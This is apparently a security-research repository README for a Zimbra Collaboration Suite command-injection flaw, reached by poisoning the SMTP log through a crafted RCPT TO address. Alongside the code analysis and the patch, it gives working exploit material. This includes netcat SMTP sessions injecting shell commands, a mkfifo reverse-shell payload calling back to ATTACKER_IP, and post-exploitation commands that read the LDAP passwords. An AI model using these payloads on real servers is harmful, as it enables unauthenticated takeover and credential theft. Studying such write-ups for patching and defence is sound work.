
Zimbra Collaboration Suite RCE — SMTP log poisoning → swatchdog → OS Command Injection (CVSS 8.9, CISA KEV)
Note: This repository contains an independent technical analysis and PoC reproduction of CVE-2026-73570. It is not the original vulnerability report.
Zimbra Collaboration Suite RCE — SMTP log poisoning → swatchdog → OS Command Injection (CVSS 8.9, CISA KEV)
Type: OS Command Injection → Unauthenticated RCE
Vector: SMTP log poisoning → swatchdog → dosnmp string-form shell expansion
Affected: Zimbra Collaboration Suite 10.x (< 10.1.20)
CVSS: 8.9 (Critical)
CISA KEV: Yes — confirmed active exploitation (~270 compromised instances as of Aug 2026)
Patch: Zimbra 10.1.20 (released 2026-07-20)
The vulnerability lives in /opt/zimbra/conf/swatchrc.in, inside the dosnmp function responsible for sending SNMP trap notifications when a Zimbra service changes state.
Vulnerable code (Zimbra 10.1.1–10.1.19) — string-form system() call:
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
# STRING-form: /bin/sh -c "...". $args{SERVICE} expands in the shell without sanitization.
system("$snmptrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}");
}
Fixed code (Zimbra 10.1.20) — list-form system(), no shell invoked:
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
# LIST-form: exec() directly, shell never invoked.
system("/opt/zimbra/common/bin/snmptrap", "-v", "2c", "-c", "zimbra",
$traphost, "", $snmpsvctrap, $snmpsvcname, "s",
$args{SERVICE}, $snmpsvcstatus, "i", $statuses{$args{STATUS}});
}
The fix is a one-line change: passing a list to system() instead of a string bypasses shell interpretation entirely.
---
Exploit Chain
Attacker (Kali)
│
│ SMTP RCPT TO:
│ <"x: Service status change: localhost $(cmd) changed from stopped to running"@target>
▼
Postfix/smtpd (Zimbra server, port 25)
│ Accepts RCPT TO and logs it to /var/log/zimbra.log
▼
swatchdog (zimbra process, watching /var/log/zimbra.log)
│ Pattern: /: Service status change: (\S+) (.*) changed from stopped to running/
│ Captures: $1 = "localhost", $2 = "$(cmd)"
│ Calls: donotify(SERVICE="$(cmd)", ...)
▼
dosnmp → system("$snmptrap ... s $(cmd) ...")
│ /bin/sh -c expands $(cmd) → executes the command
▼
RCE as "zimbra" user (uid=998, gid=999)
Key insight: Postfix accepts and logs RCPT TO with quoted local-parts verbatim — reliable log poisoning vector.
---
Proof of Concept
Basic PoC — write file
nc <target> 25
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running"@target.com>
DATA
.
QUIT
Result: /tmp/pwned_rce contains uid=998(zimbra) gid=999(zimbra)
Reverse Shell
nc -lvnp 4444
nc <target> 25 <<EOF
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f) changed from stopped to running"@target.com>
DATA
.
QUIT
EOF
---
Lab Setup
Requirements
- VirtualBox, Ubuntu Server 22.04 LTS, Zimbra 10.1.0
Network
Attacker (Kali): 10.0.2.15
Victim (Ubuntu): 10.0.2.22 (mail.lab.local)
VirtualBox NAT Network: 10.0.2.0/24
Reproducing the vulnerable condition
cp /opt/zimbra/conf/swatchrc.in /opt/zimbra/conf/swatchrc.in.bak
vi /opt/zimbra/conf/swatchrc.in # apply string-form system() call
PERL5LIB=/opt/zimbra/common/lib/perl5 \
/opt/zimbra/common/bin/swatchdog \
-c /opt/zimbra/conf/swatchrc \
-t /var/log/zimbra.log &
---
Post-Exploitation
/opt/zimbra/bin/zmlocalconfig -s zimbra_ldap_password
/opt/zimbra/bin/zmlocalconfig -s ldap_root_password
---
Mitigation
- Patch: Upgrade to Zimbra 10.1.20 or later.
- Workaround: zmlocalconfig -e snmp_notify=no && zmconfigdctl restart
---
References
- NVD — CVE-2026-73570 (https://nvd.nist.gov/vuln/detail/CVE-2026-73570)
- CISA KEV Catalog (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Zimbra Security Advisory (https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories)
---
Disclaimer
This repository is for educational and authorized security research purposes only.
Do not use this against systems you do not own or have explicit written permission to test.